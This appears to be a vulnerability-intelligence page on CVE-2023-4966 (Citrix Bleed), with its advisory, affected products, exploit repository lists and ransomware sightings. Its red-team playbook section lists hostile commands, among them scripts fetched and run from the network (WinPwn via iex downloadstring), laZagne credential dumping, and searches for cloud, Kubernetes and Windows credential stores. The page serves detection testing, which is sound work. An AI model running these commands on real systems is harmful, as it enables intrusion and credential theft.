CVE-2023-4966
Overview
This vulnerability is a memory safety flaw classified under CWE-119, resulting from improper handling of sensitive data within the NetScaler ADC and Gateway components when configured as Gateway or AAA virtual servers. The root cause lies in insecure processing of session tokens or authentication data, leading to unintended disclosure of sensitive information. The affected components include VPN virtual servers such as ICA Proxy, CVPN, and RDP Proxy, as well as AAA virtual servers within the Citrix NetScaler ADC product line.
Vulnerability Description
Sensitive information disclosure in NetScaler ADC and NetScaler Gateway when configured as a Gateway (VPN virtual server, ICA Proxy, CVPN, RDP Proxy) or AAA virtual server.
Impact
An attacker can remotely extract sensitive session tokens and authentication information without any user authentication or interaction. This exposure enables unauthorized access to user sessions, potentially allowing lateral movement within the network and compromising confidential data. The vulnerability can lead to significant data breaches in environments using Citrix NetScaler ADC as a VPN or AAA gateway, undermining the confidentiality and integrity of user sessions and enterprise resources.
Solution
Citrix has released a security advisory (CTX579459) detailing patches that address this vulnerability in NetScaler ADC and NetScaler Gateway. Administrators should apply the updates provided in the advisory to affected versions immediately. The advisory also includes configuration guidance to mitigate exposure on Gateway and AAA virtual servers. Refer to https://support.citrix.com/article/CTX579459 for detailed patch installation and workaround instructions.
EPSS vs KEV Prediction — Evolution (30 days)
Affected Products (9)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Citrix | Netscaler Application Delivery Controller | All |
cpe:2.3:a:citrix:netscaler_application_delivery_controller:*:*:*:*:fips:*:*:*
|
|
|
Citrix | Netscaler Application Delivery Controller | All |
cpe:2.3:a:citrix:netscaler_application_delivery_controller:*:*:*:*:ndcpp:*:*:*
|
|
|
Citrix | Netscaler Application Delivery Controller | All |
cpe:2.3:a:citrix:netscaler_application_delivery_controller:*:*:*:*:-:*:*:*
|
|
|
Citrix | Netscaler Application Delivery Controller | All |
cpe:2.3:a:citrix:netscaler_application_delivery_controller:*:*:*:*:fips:*:*:*
|
|
|
Citrix | Netscaler Application Delivery Controller | All |
cpe:2.3:a:citrix:netscaler_application_delivery_controller:*:*:*:*:-:*:*:*
|
|
|
Citrix | Netscaler Application Delivery Controller | All |
cpe:2.3:a:citrix:netscaler_application_delivery_controller:*:*:*:*:-:*:*:*
|
|
|
Citrix | Netscaler Gateway | All |
cpe:2.3:a:citrix:netscaler_gateway:*:*:*:*:*:*:*:*
|
|
|
Citrix | Netscaler Gateway | All |
cpe:2.3:a:citrix:netscaler_gateway:*:*:*:*:*:*:*:*
|
|
|
Citrix | Netscaler Gateway | All |
cpe:2.3:a:citrix:netscaler_gateway:*:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
Metasploit (2)
| Module | Authors | Rank | Platform | Link |
|---|---|---|---|---|
|
Citrix ADC (NetScaler) CVE-2026-3055 Scanner
auxiliary/scanner/http/citrix_netscaler_cve_2026_3055
|
watchTowr, sfewer-r7 | Unknown | - | View |
|
Citrix ADC (NetScaler) Bleed Scanner
auxiliary/scanner/http/citrix_bleed_cve_2023_4966
|
Dylan Pindur, Spencer McIntyre | Unknown | - | View |
GitHub PoCs (14)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
Chocapikk/CVE-2023-4966
Sensitive information disclosure in NetScaler ADC and NetScaler Gateway when configured as a Gateway (VPN virtual server...
|
Chocapikk | 80 | 12 | 2023-10-24 | View |
|
mlynchcogent/CVE-2023-4966-POC
Proof Of Concept for te NetScaler Vuln
|
mlynchcogent | 8 | 3 | 2023-10-25 | View |
|
dinosn/citrix_cve-2023-4966
Citrix CVE-2023-4966 from assetnote modified for parallel and file handling
|
dinosn | 10 | 1 | 2023-10-25 | View |
|
RevoltSecurities/CVE-2023-4966
An Exploitation script developed to exploit the CVE-2023-4966 bleed citrix information disclosure vulnerability
|
RevoltSecurities | 10 | 0 | 2023-10-29 | View |
|
certat/citrix-logchecker
Parse citrix netscaler logs to check for signs of CVE-2023-4966 exploitation
|
certat | 5 | 0 | 2023-10-28 | View |
|
morganwdavis/overread
Simulates CVE-2023-4966 Citrix Bleed overread bug
|
morganwdavis | 2 | 0 | 2023-12-16 | View |
|
IceBreakerCode/CVE-2023-4966
|
IceBreakerCode | 1 | 0 | 2023-10-25 | View |
|
0xKayala/CVE-2023-4966
CVE-2023-4966 - NetScaler ADC and NetScaler Gateway Memory Leak Exploit
|
0xKayala | 0 | 1 | 2023-10-27 | View |
|
byte4RR4Y/CVE-2023-4966
Programm to exploit a range of ip adresses
|
byte4RR4Y | 0 | 0 | 2023-11-27 | View |
|
jmussmann/cve-2023-4966-iocs
Python script to search Citrix NetScaler logs for possible CVE-2023-4966 exploitation.
|
jmussmann | 0 | 0 | 2023-12-08 | View |
|
LucasOneZ/CVE-2023-4966
|
LucasOneZ | 0 | 0 | 2024-09-09 | View |
|
s-bt/CVE-2023-4966
Scripts to get infos
|
s-bt | 0 | 0 | 2023-11-20 | View |
|
akshthejo/CVE-2023-4966-exploit
CVE-2023-4966-exploit
|
akshthejo | 0 | 0 | 2024-12-18 | View |
|
vignesh-hp/LockBit-Ransomware-Analysis
Threat intelligence and incident response case study on LockBit ransomware exploiting CVE-2023-4966 (Citrix Bleed).
|
vignesh-hp | 0 | 0 | 2026-02-25 | View |
Ransomware Groups 7
Threat Feed
49 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Ransomware group known to exploit this vulnerability (5 known victims)
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Ransomware group known to exploit this vulnerability (5 known victims)
Ransomware group known to exploit this vulnerability
Ransomware group known to exploit this vulnerability
Ransomware group known to exploit this vulnerability
Ransomware group known to exploit this vulnerability
Ransomware group known to exploit this vulnerability
Ransomware group known to exploit this vulnerability. Tools: 7-Zip, AdFind, Advanced IP Scanner, AnyDesk, BackBlaze (943 known victims)
Ransomware group known to exploit this vulnerability. Tools: Acronis Disk Director, Angry IP Scanner, AnyDesk, Atera, BITSAdmin (842 known victims)
Ransomware group known to exploit this vulnerability (5 known victims)
Ransomware group known to exploit this vulnerability
Ransomware group known to exploit this vulnerability
Ransomware group known to exploit this vulnerability
Ransomware group known to exploit this vulnerability
Ransomware group known to exploit this vulnerability
Public exploit code is available for this vulnerability
Proof-of-concept code is publicly available for this vulnerability
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Active exploitation confirmed with 42 sighting(s)
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
49 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
& "#{rustscan_path}" -a #{host_to_scan} --greppable -p #{port_list}
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
for pid in $(pgrep -f 'Runner.Worker|Runner.Listener|runsvc|run.sh' 2>/dev/null); do tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -iE 'env|ssh'; done
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path} -maxdepth 6 -name "#{filename}" -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.aws/#{filename}' -type f 2>/dev/null
find #{file_path} -path '*/.azure/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.docker/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.config/gcloud/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /root -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find /etc/kubernetes -name '*.conf' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for filename in #{filenames}; do find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null; done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
for filename in #{filenames}; do
find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null
done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /etc/mysql -name 'my.cnf' -type f #{optional_flags} 2>/dev/null
find /etc/redis -name 'redis.conf' -type f #{optional_flags} 2>/dev/null
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2023-4966 |
| support.citrix.com |
GitHub CVE
|
https://support.citrix.com/article/CTX579459 |
| packetstormsecurity.com |
GitHub CVE
|
http://packetstormsecurity.com/files/175323/Citrix-Bleed-Session-Token-Leakage-Proof-Of-Concept.html |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2023-4966 |